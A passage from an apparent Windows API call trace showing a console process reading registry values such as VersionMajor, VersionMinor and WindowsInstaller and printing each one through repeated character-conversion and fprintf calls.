lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.260] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.260] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.260] lstrlenW (lpString="VersionMajor") returned 12 [0150.260] __iob_func () returned 0x7fefd702a80 [0150.260] _fileno (_File=0x7fefd702ab0) returned 1 [0150.261] _errno () returned 0x204bb0 [0150.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.261] _errno () returned 0x204bb0 [0150.261] GetFileType (hFile=0x50) returned 0x1 [0150.261] lstrlenW (lpString="VersionMajor") returned 12 [0150.261] GetConsoleOutputCP () returned 0x1b5 [0150.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.261] GetConsoleOutputCP () returned 0x1b5 [0150.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0150.261] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.261] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.261] __iob_func () returned 0x7fefd702a80 [0150.261] _fileno (_File=0x7fefd702ab0) returned 1 [0150.261] _errno () returned 0x204bb0 [0150.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.261] _errno () returned 0x204bb0 [0150.261] GetFileType (hFile=0x50) returned 0x1 [0150.261] lstrlenW (lpString=" ") returned 4 [0150.261] GetConsoleOutputCP () returned 0x1b5 [0150.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.261] GetConsoleOutputCP () returned 0x1b5 [0150.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.262] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.262] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.262] __iob_func () returned 0x7fefd702a80 [0150.262] _fileno (_File=0x7fefd702ab0) returned 1 [0150.262] _errno () returned 0x204bb0 [0150.262] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.262] _errno () returned 0x204bb0 [0150.262] GetFileType (hFile=0x50) returned 0x1 [0150.262] lstrlenW (lpString="REG_DWORD") returned 9 [0150.262] GetConsoleOutputCP () returned 0x1b5 [0150.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.262] GetConsoleOutputCP () returned 0x1b5 [0150.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.262] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.262] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.262] __iob_func () returned 0x7fefd702a80 [0150.262] _fileno (_File=0x7fefd702ab0) returned 1 [0150.262] _errno () returned 0x204bb0 [0150.262] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.262] _errno () returned 0x204bb0 [0150.262] GetFileType (hFile=0x50) returned 0x1 [0150.262] lstrlenW (lpString=" ") returned 4 [0150.262] GetConsoleOutputCP () returned 0x1b5 [0150.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.263] GetConsoleOutputCP () returned 0x1b5 [0150.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.263] __iob_func () returned 0x7fefd702a80 [0150.263] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.263] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x9") returned 3 [0150.263] _fileno (_File=0x7fefd702ab0) returned 1 [0150.263] _errno () returned 0x204bb0 [0150.263] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.263] _errno () returned 0x204bb0 [0150.263] GetFileType (hFile=0x50) returned 0x1 [0150.263] lstrlenW (lpString="0x9") returned 3 [0150.263] GetConsoleOutputCP () returned 0x1b5 [0150.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.263] GetConsoleOutputCP () returned 0x1b5 [0150.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x9", lpUsedDefaultChar=0x0) returned 3 [0150.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.264] __iob_func () returned 0x7fefd702a80 [0150.264] _fileno (_File=0x7fefd702ab0) returned 1 [0150.264] _errno () returned 0x204bb0 [0150.264] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.264] _errno () returned 0x204bb0 [0150.264] GetFileType (hFile=0x50) returned 0x1 [0150.264] lstrlenW (lpString="\n") returned 1 [0150.264] GetConsoleOutputCP () returned 0x1b5 [0150.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.264] GetConsoleOutputCP () returned 0x1b5 [0150.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.264] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.264] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.264] GetProcessHeap () returned 0x3c0000 [0150.264] GetProcessHeap () returned 0x3c0000 [0150.264] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.264] GetProcessHeap () returned 0x3c0000 [0150.264] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.264] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.264] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.264] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.264] GetProcessHeap () returned 0x3c0000 [0150.264] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.264] GetProcessHeap () returned 0x3c0000 [0150.264] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.264] GetProcessHeap () returned 0x3c0000 [0150.264] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.265] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.265] __iob_func () returned 0x7fefd702a80 [0150.265] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.265] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.265] _fileno (_File=0x7fefd702ab0) returned 1 [0150.265] _errno () returned 0x204bb0 [0150.265] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.265] _errno () returned 0x204bb0 [0150.265] GetFileType (hFile=0x50) returned 0x1 [0150.265] lstrlenW (lpString=" ") returned 4 [0150.265] GetConsoleOutputCP () returned 0x1b5 [0150.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.265] GetConsoleOutputCP () returned 0x1b5 [0150.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.265] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.265] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.265] lstrlenW (lpString="VersionMinor") returned 12 [0150.265] __iob_func () returned 0x7fefd702a80 [0150.265] _fileno (_File=0x7fefd702ab0) returned 1 [0150.265] _errno () returned 0x204bb0 [0150.265] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.265] _errno () returned 0x204bb0 [0150.265] GetFileType (hFile=0x50) returned 0x1 [0150.265] lstrlenW (lpString="VersionMinor") returned 12 [0150.265] GetConsoleOutputCP () returned 0x1b5 [0150.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.266] GetConsoleOutputCP () returned 0x1b5 [0150.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0150.266] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.266] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.266] __iob_func () returned 0x7fefd702a80 [0150.266] _fileno (_File=0x7fefd702ab0) returned 1 [0150.266] _errno () returned 0x204bb0 [0150.266] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.266] _errno () returned 0x204bb0 [0150.266] GetFileType (hFile=0x50) returned 0x1 [0150.266] lstrlenW (lpString=" ") returned 4 [0150.266] GetConsoleOutputCP () returned 0x1b5 [0150.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.266] GetConsoleOutputCP () returned 0x1b5 [0150.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.266] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.266] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.267] __iob_func () returned 0x7fefd702a80 [0150.267] _fileno (_File=0x7fefd702ab0) returned 1 [0150.267] _errno () returned 0x204bb0 [0150.267] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.267] _errno () returned 0x204bb0 [0150.267] GetFileType (hFile=0x50) returned 0x1 [0150.267] lstrlenW (lpString="REG_DWORD") returned 9 [0150.267] GetConsoleOutputCP () returned 0x1b5 [0150.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.267] GetConsoleOutputCP () returned 0x1b5 [0150.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.267] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.267] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.268] __iob_func () returned 0x7fefd702a80 [0150.268] _fileno (_File=0x7fefd702ab0) returned 1 [0150.268] _errno () returned 0x204bb0 [0150.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.268] _errno () returned 0x204bb0 [0150.268] GetFileType (hFile=0x50) returned 0x1 [0150.268] lstrlenW (lpString=" ") returned 4 [0150.268] GetConsoleOutputCP () returned 0x1b5 [0150.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.268] GetConsoleOutputCP () returned 0x1b5 [0150.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.268] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.268] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.268] __iob_func () returned 0x7fefd702a80 [0150.268] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.268] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0150.268] _fileno (_File=0x7fefd702ab0) returned 1 [0150.268] _errno () returned 0x204bb0 [0150.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.268] _errno () returned 0x204bb0 [0150.268] GetFileType (hFile=0x50) returned 0x1 [0150.268] lstrlenW (lpString="0x0") returned 3 [0150.268] GetConsoleOutputCP () returned 0x1b5 [0150.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.269] GetConsoleOutputCP () returned 0x1b5 [0150.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0150.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.269] __iob_func () returned 0x7fefd702a80 [0150.269] _fileno (_File=0x7fefd702ab0) returned 1 [0150.269] _errno () returned 0x204bb0 [0150.269] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.269] _errno () returned 0x204bb0 [0150.269] GetFileType (hFile=0x50) returned 0x1 [0150.269] lstrlenW (lpString="\n") returned 1 [0150.269] GetConsoleOutputCP () returned 0x1b5 [0150.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.269] GetConsoleOutputCP () returned 0x1b5 [0150.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.269] GetProcessHeap () returned 0x3c0000 [0150.269] GetProcessHeap () returned 0x3c0000 [0150.269] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.269] GetProcessHeap () returned 0x3c0000 [0150.269] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.270] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.270] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.270] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.270] GetProcessHeap () returned 0x3c0000 [0150.270] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.270] GetProcessHeap () returned 0x3c0000 [0150.270] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.270] GetProcessHeap () returned 0x3c0000 [0150.270] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.270] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.270] __iob_func () returned 0x7fefd702a80 [0150.270] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.270] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.270] _fileno (_File=0x7fefd702ab0) returned 1 [0150.270] _errno () returned 0x204bb0 [0150.270] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.270] _errno () returned 0x204bb0 [0150.270] GetFileType (hFile=0x50) returned 0x1 [0150.270] lstrlenW (lpString=" ") returned 4 [0150.270] GetConsoleOutputCP () returned 0x1b5 [0150.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.270] GetConsoleOutputCP () returned 0x1b5 [0150.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.270] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.270] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.271] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.271] __iob_func () returned 0x7fefd702a80 [0150.271] _fileno (_File=0x7fefd702ab0) returned 1 [0150.271] _errno () returned 0x204bb0 [0150.271] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.271] _errno () returned 0x204bb0 [0150.271] GetFileType (hFile=0x50) returned 0x1 [0150.271] lstrlenW (lpString="WindowsInstaller") returned 16 [0150.271] GetConsoleOutputCP () returned 0x1b5 [0150.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.271] GetConsoleOutputCP () returned 0x1b5 [0150.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0150.271] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.271] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.271] __iob_func () returned 0x7fefd702a80 [0150.271] _fileno (_File=0x7fefd702ab0) returned 1 [0150.271] _errno () returned 0x204bb0 [0150.271] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.271] _errno () returned 0x204bb0 [0150.271] GetFileType (hFile=0x50) returned 0x1 [0150.271] lstrlenW (lpString=" ") returned 4 [0150.271] GetConsoleOutputCP () returned 0x1b5 [0150.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.272] GetConsoleOutputCP () returned 0x1b5 [0150.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.272] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.272] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.272] __iob_func () returned 0x7fefd702a80 [0150.272] _fileno (_File=0x7fefd702ab0) returned 1 [0150.272] _errno () returned 0x204bb0 [0150.272] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.272] _errno () returned 0x204bb0 [0150.272] GetFileType (hFile=0x50) returned 0x1 [0150.272] lstrlenW (lpString="REG_DWORD") returned 9 [0150.272] GetConsoleOutputCP () returned 0x1b5 [0150.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.272] GetConsoleOutputCP () returned 0x1b5 [0150.272] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.272] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.272] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.272] __iob_func () returned 0x7fefd702a80 [0150.272] _fileno (_File=0x7fefd702ab0) returned 1 [0150.272] _errno () returned 0x204bb0 [0150.272] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.272] _errno () returned 0x204bb0 [0150.272] GetFileType (hFile=0x50) returned 0x1 [0150.273] lstrlenW (lpString=" ") returned 4 [0150.273] GetConsoleOutputCP () returned 0x1b5 [0150.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.273] GetConsoleOutputCP () returned 0x1b5 [0150.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.273] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.273] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.273] __iob_func () returned 0x7fefd702a80 [0150.273] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.273] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.273] _fileno (_File=0x7fefd702ab0) returned 1 [0150.273] _errno () returned 0x204bb0 [0150.273] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.273] _errno () returned 0x204bb0 [0150.273] GetFileType (hFile=0x50) returned 0x1 [0150.273] lstrlenW (lpString="0x1") returned 3 [0150.273] GetConsoleOutputCP () returned 0x1b5 [0150.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.273] GetConsoleOutputCP () returned 0x1b5 [0150.273] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 